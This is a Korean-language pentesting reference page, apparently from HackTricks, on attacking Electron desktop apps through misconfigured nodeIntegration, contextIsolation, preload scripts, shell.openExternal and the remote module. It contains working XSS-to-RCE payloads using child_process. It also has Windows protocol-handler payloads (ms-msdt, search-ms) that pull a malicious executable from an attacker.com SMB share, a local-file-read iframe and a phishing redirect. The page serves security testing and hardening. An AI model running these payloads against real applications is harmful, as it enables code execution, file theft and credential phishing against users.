Electron Desktop Apps
Reading time: 14 minutes
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
Introduction
Electron은 로컬 백엔드(NodeJS)와 프론트엔드(Chromium)를 결합하지만, 최신 브라우저의 일부 보안 메커니즘이 부족합니다.
일반적으로 전자 앱 코드는 .asar
애플리케이션 내부에 있으며, 코드를 얻으려면 이를 추출해야 합니다:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
Electron 앱의 소스 코드에서 packet.json
안에 보안 설정이 지정된 main.js
파일을 찾을 수 있습니다.
{
"name": "standard-notes",
"main": "./app/index.js",
Electron에는 2가지 프로세스 유형이 있습니다:
- 메인 프로세스 (NodeJS에 대한 완전한 접근 권한을 가짐)
- 렌더러 프로세스 (보안상의 이유로 NodeJS 접근 권한이 제한되어야 함)
렌더러 프로세스는 파일을 로드하는 브라우저 창이 될 것입니다:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
렌더러 프로세스의 설정은 main.js 파일의 메인 프로세스에서 구성할 수 있습니다. 일부 구성은 설정이 올바르게 구성된 경우 Electron 애플리케이션이 RCE 또는 기타 취약점에 노출되는 것을 방지합니다.
Electron 애플리케이션은 Node API를 통해 장치에 접근할 수 있지만, 이를 방지하도록 구성할 수 있습니다:
nodeIntegration
- 기본값은off
입니다. 켜면 렌더러 프로세스에서 Node 기능에 접근할 수 있습니다.contextIsolation
- 기본값은on
입니다. 꺼지면 메인 프로세스와 렌더러 프로세스가 격리되지 않습니다.preload
- 기본값은 비어 있습니다.sandbox
- 기본값은 꺼져 있습니다. NodeJS가 수행할 수 있는 작업을 제한합니다.- 워커에서의 Node 통합
nodeIntegrationInSubframes
- 기본값은 꺼져 있습니다.- **
nodeIntegration
**이 활성화되면, 이는 Electron 애플리케이션 내의 iframe에 로드된 웹 페이지에서 Node.js API를 사용할 수 있게 합니다. - **
nodeIntegration
**이 비활성화되면, 프리로드는 iframe에서 로드됩니다.
구성 예시:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
일부 RCE 페이로드는 여기에서 확인할 수 있습니다:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
트래픽 캡처
start-main 구성을 수정하고 다음과 같은 프록시 사용을 추가하세요:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Electron 로컬 코드 주입
Electron 앱을 로컬에서 실행할 수 있다면 임의의 자바스크립트 코드를 실행할 수 있을 가능성이 있습니다. 방법은 다음을 확인하세요:
macOS Electron Applications Injection
RCE: XSS + nodeIntegration
nodeIntegration이 on으로 설정되어 있으면, 웹 페이지의 자바스크립트는 require()
를 호출하는 것만으로도 Node.js 기능을 쉽게 사용할 수 있습니다. 예를 들어, Windows에서 calc 애플리케이션을 실행하는 방법은 다음과 같습니다:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>
RCE: preload
이 설정에서 표시된 스크립트는 렌더러의 다른 스크립트보다 먼저 로드되므로 Node API에 무제한으로 접근할 수 있습니다:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
따라서, 스크립트는 node-features를 페이지로 내보낼 수 있습니다:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] >
contextIsolation
이 켜져 있으면, 이 방법은 작동하지 않습니다
RCE: XSS + contextIsolation
_contextIsolation_은 웹 페이지 스크립트와 JavaScript Electron의 내부 코드 간의 분리된 컨텍스트를 도입하여 각 코드의 JavaScript 실행이 서로 영향을 미치지 않도록 합니다. 이는 RCE의 가능성을 제거하기 위한 필수 기능입니다.
컨텍스트가 분리되지 않으면 공격자는:
- 렌더러에서 임의의 JavaScript 실행 (XSS 또는 외부 사이트로의 탐색)
- 프리로드 또는 Electron 내부 코드에서 사용되는 내장 메서드를 자신의 함수로 덮어쓰기
- 덮어쓴 함수의 사용을 트리거
- RCE?
내장 메서드를 덮어쓸 수 있는 두 곳이 있습니다: 프리로드 코드 또는 Electron 내부 코드에서:
Electron contextIsolation RCE via preload code
Electron contextIsolation RCE via Electron internal code
Electron contextIsolation RCE via IPC
클릭 이벤트 우회
링크를 클릭할 때 제한이 적용되는 경우, 일반 왼쪽 클릭 대신 중간 클릭을 통해 이를 우회할 수 있습니다.
window.addEventListener('click', (e) => {
RCE via shell.openExternal
이 예제에 대한 자세한 정보는 https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 및 https://benjamin-altpeter.de/shell-openexternal-dangers/를 확인하세요.
Electron 데스크탑 애플리케이션을 배포할 때 nodeIntegration
및 contextIsolation
에 대한 올바른 설정을 보장하는 것이 중요합니다. **클라이언트 측 원격 코드 실행 (RCE)**이 프리로드 스크립트 또는 메인 프로세스의 Electron 기본 코드를 대상으로 할 때 이러한 설정이 적용되면 효과적으로 방지된다는 것이 확립되었습니다.
사용자가 링크와 상호작용하거나 새 창을 열 때, 애플리케이션의 보안 및 기능에 중요한 특정 이벤트 리스너가 트리거됩니다:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
이 리스너는 데스크탑 애플리케이션에 의해 재정의되어 자체 비즈니스 로직을 구현합니다. 애플리케이션은 탐색된 링크가 내부에서 열려야 하는지 또는 외부 웹 브라우저에서 열려야 하는지를 평가합니다. 이 결정은 일반적으로 openInternally
라는 함수를 통해 이루어집니다. 이 함수가 false
를 반환하면 링크가 외부에서 열려야 함을 나타내며, shell.openExternal
함수를 사용합니다.
여기 간단한 의사코드가 있습니다:
Electron JS 보안 모범 사례는 openExternal
함수를 사용하여 신뢰할 수 없는 콘텐츠를 수용하지 말 것을 권장합니다. 이는 다양한 프로토콜을 통해 RCE로 이어질 수 있습니다. 운영 체제는 RCE를 유발할 수 있는 다양한 프로토콜을 지원합니다. 이 주제에 대한 자세한 예제와 추가 설명은 이 리소스를 참조할 수 있으며, 여기에는 이 취약점을 악용할 수 있는 Windows 프로토콜 예제가 포함되어 있습니다.
macOS에서는 openExternal
함수를 악용하여 shell.openExternal('file:///System/Applications/Calculator.app')
와 같은 임의의 명령을 실행할 수 있습니다.
Windows 프로토콜 악용의 예는 다음과 같습니다:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
내부 파일 읽기: XSS + contextIsolation
contextIsolation
비활성화는 <webview>
태그의 사용을 가능하게 하여, <iframe>
과 유사하게 로컬 파일을 읽고 유출할 수 있습니다. 제공된 예시는 이 취약점을 이용하여 내부 파일의 내용을 읽는 방법을 보여줍니다:
또한, 내부 파일을 읽는 또 다른 방법이 공유되며, Electron 데스크탑 앱에서의 중요한 로컬 파일 읽기 취약점을 강조합니다. 이는 애플리케이션을 악용하고 데이터를 유출하기 위해 스크립트를 주입하는 것을 포함합니다:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Old Chromium
애플리케이션에서 사용되는 chromium이 오래된 경우, 알려진 취약점이 있을 수 있으며, 이를 악용하여 XSS를 통해 RCE를 얻을 수 있습니다.
이 writeup에서 예를 볼 수 있습니다: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing via Internal URL regex bypass
XSS를 발견했지만 RCE를 트리거하거나 내부 파일을 훔칠 수 없는 경우, 이를 사용하여 피싱을 통해 자격 증명을 훔치려고 할 수 있습니다.
우선, 새 URL을 열려고 할 때 발생하는 일을 알아야 하며, 프론트엔드의 JS 코드를 확인해야 합니다:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
**openInternally
**에 대한 호출은 링크가 플랫폼에 속하는 링크이기 때문에 데스크탑 창에서 열릴지 아니면 브라우저에서 3rd 파티 리소스로 열릴지를 결정합니다.
함수가 사용하는 정규 표현식이 우회 공격에 취약한 경우(예: 서브도메인의 점을 이스케이프하지 않는 경우) 공격자는 XSS를 악용하여 새 창을 열 수 있습니다. 이 창은 공격자의 인프라에 위치하며 사용자에게 자격 증명을 요청합니다:
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
Remote module
Electron Remote 모듈은 렌더러 프로세스가 메인 프로세스 API에 접근할 수 있도록 하여 Electron 애플리케이션 내에서의 통신을 용이하게 합니다. 그러나 이 모듈을 활성화하면 상당한 보안 위험이 발생합니다. 애플리케이션의 공격 표면이 확장되어 교차 사이트 스크립팅(XSS) 공격과 같은 취약점에 더 취약해집니다.
tip
remote 모듈이 메인에서 렌더러 프로세스로 일부 API를 노출하지만, 구성 요소만을 악용하여 RCE를 얻는 것은 간단하지 않습니다. 그러나 구성 요소는 민감한 정보를 노출할 수 있습니다.
warning
여전히 remote 모듈을 사용하는 많은 앱은 렌더러 프로세스에서 NodeIntegration을 활성화해야 하는 방식으로 구현되어 있으며, 이는 엄청난 보안 위험입니다.
Electron 14부터 remote
모듈은 보안 및 성능 이유로 여러 단계에서 활성화될 수 있으며, 사용하지 않는 것이 권장됩니다.
활성화하려면, 먼저 메인 프로세스에서 활성화해야 합니다:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
그런 다음, 렌더러 프로세스는 모듈에서 객체를 다음과 같이 가져올 수 있습니다:
import { dialog, getCurrentWindow } from '@electron/remote'
The **blog post**는 원격 모듈의 객체 **app
**에서 노출된 몇 가지 흥미로운 기능을 나타냅니다:
app.relaunch([options])
- 현재 인스턴스를 종료하고 새 인스턴스를 시작하여 애플리케이션을 재시작합니다. 앱 업데이트나 중요한 상태 변경에 유용합니다.
app.setAppLogsPath([path])
- 앱 로그를 저장할 디렉토리를 정의하거나 생성합니다. 로그는
app.getPath()
또는 **app.setPath(pathName, newPath)
**를 사용하여 가져오거나 수정할 수 있습니다. app.setAsDefaultProtocolClient(protocol[, path, args])
- 지정된 프로토콜에 대한 기본 핸들러로 현재 실행 파일을 등록합니다. 필요에 따라 사용자 지정 경로와 인수를 제공할 수 있습니다.
app.setUserTasks(tasks)
- 작업 목록(Windows에서)에서 작업 카테고리에 작업을 추가합니다. 각 작업은 앱이 시작되는 방식이나 전달되는 인수를 제어할 수 있습니다.
app.importCertificate(options, callback)
- 시스템의 인증서 저장소에 PKCS#12 인증서를 가져옵니다(Linux 전용). 결과를 처리하기 위해 콜백을 사용할 수 있습니다.
app.moveToApplicationsFolder([options])
- 애플리케이션을 응용 프로그램 폴더로 이동합니다(맥OS에서). Mac 사용자를 위한 표준 설치를 보장하는 데 도움이 됩니다.
app.setJumpList(categories)
- Windows에서 사용자 지정 점프 목록을 설정하거나 제거합니다. 사용자가 작업이 표시되는 방식을 조직하기 위해 카테고리를 지정할 수 있습니다.
app.setLoginItemSettings(settings)
- 로그인 시 실행되는 실행 파일과 그 옵션을 구성합니다(맥OS 및 Windows 전용).
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences 모듈
Electron에서 시스템 기본 설정에 접근하고 시스템 이벤트를 발생시키는 주요 API입니다. subscribeNotification, subscribeWorkspaceNotification, getUserDefault, setUserDefault와 같은 메서드는 모두 이 모듈의 일부입니다.
사용 예:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- 네이티브 macOS 알림을 NSDistributedNotificationCenter를 사용하여 청취합니다.
- macOS Catalina 이전에는 CFNotificationCenterAddObserver에 nil을 전달하여 모든 분산 알림을 스니핑할 수 있었습니다.
- Catalina / Big Sur 이후, 샌드박스 앱은 이름으로 알림을 등록하여 여전히 많은 이벤트(예: 화면 잠금/해제, 볼륨 마운트, 네트워크 활동 등)에 구독할 수 있습니다.
getUserDefault / setUserDefault
-
NSUserDefaults와 인터페이스하여 macOS에서 애플리케이션 또는 전역 기본 설정을 저장합니다.
-
getUserDefault는 최근 파일 위치나 사용자의 지리적 위치와 같은 민감한 정보를 검색할 수 있습니다.
-
setUserDefault는 이러한 기본 설정을 수정할 수 있으며, 이는 앱의 구성에 영향을 미칠 수 있습니다.
-
구버전 Electron(v8.3.0 이전)에서는 표준 스위트의 NSUserDefaults만 접근 가능했습니다.
Shell.showItemInFolder
이 함수는 주어진 파일을 파일 관리자에서 보여주며, 이는 파일을 자동으로 실행할 수 있습니다.
자세한 정보는 https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html에서 확인하세요.
Content Security Policy
Electron 앱은 XSS 공격을 방지하기 위해 **Content Security Policy (CSP)**를 가져야 합니다. CSP는 브라우저에서 신뢰할 수 없는 코드의 실행을 방지하는 데 도움이 되는 보안 표준입니다.
일반적으로 main.js
파일이나 index.html
템플릿의 메타 태그 안에 CSP를 설정합니다.
자세한 정보는 다음에서 확인하세요:
Content Security Policy (CSP) Bypass
Tools
- Electronegativity는 Electron 기반 애플리케이션의 잘못된 구성 및 보안 안티 패턴을 식별하는 도구입니다.
- Electrolint는 Electronegativity를 사용하는 Electron 애플리케이션을 위한 오픈 소스 VS Code 플러그인입니다.
- nodejsscan은 취약한 서드파티 라이브러리를 검사합니다.
- Electro.ng: 구매해야 합니다.
Labs
https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s에서 취약한 Electron 앱을 악용하는 실습을 찾을 수 있습니다.
실습에 도움이 될 몇 가지 명령어:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
참고문헌
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- Electron 보안에 대한 더 많은 연구 및 글은 https://github.com/doyensec/awesome-electronjs-hacking에서 확인할 수 있습니다.
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
- https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
tip
AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks 지원하기
- 구독 계획 확인하기!
- **💬 디스코드 그룹 또는 텔레그램 그룹에 참여하거나 트위터 🐦 @hacktricks_live를 팔로우하세요.
- HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.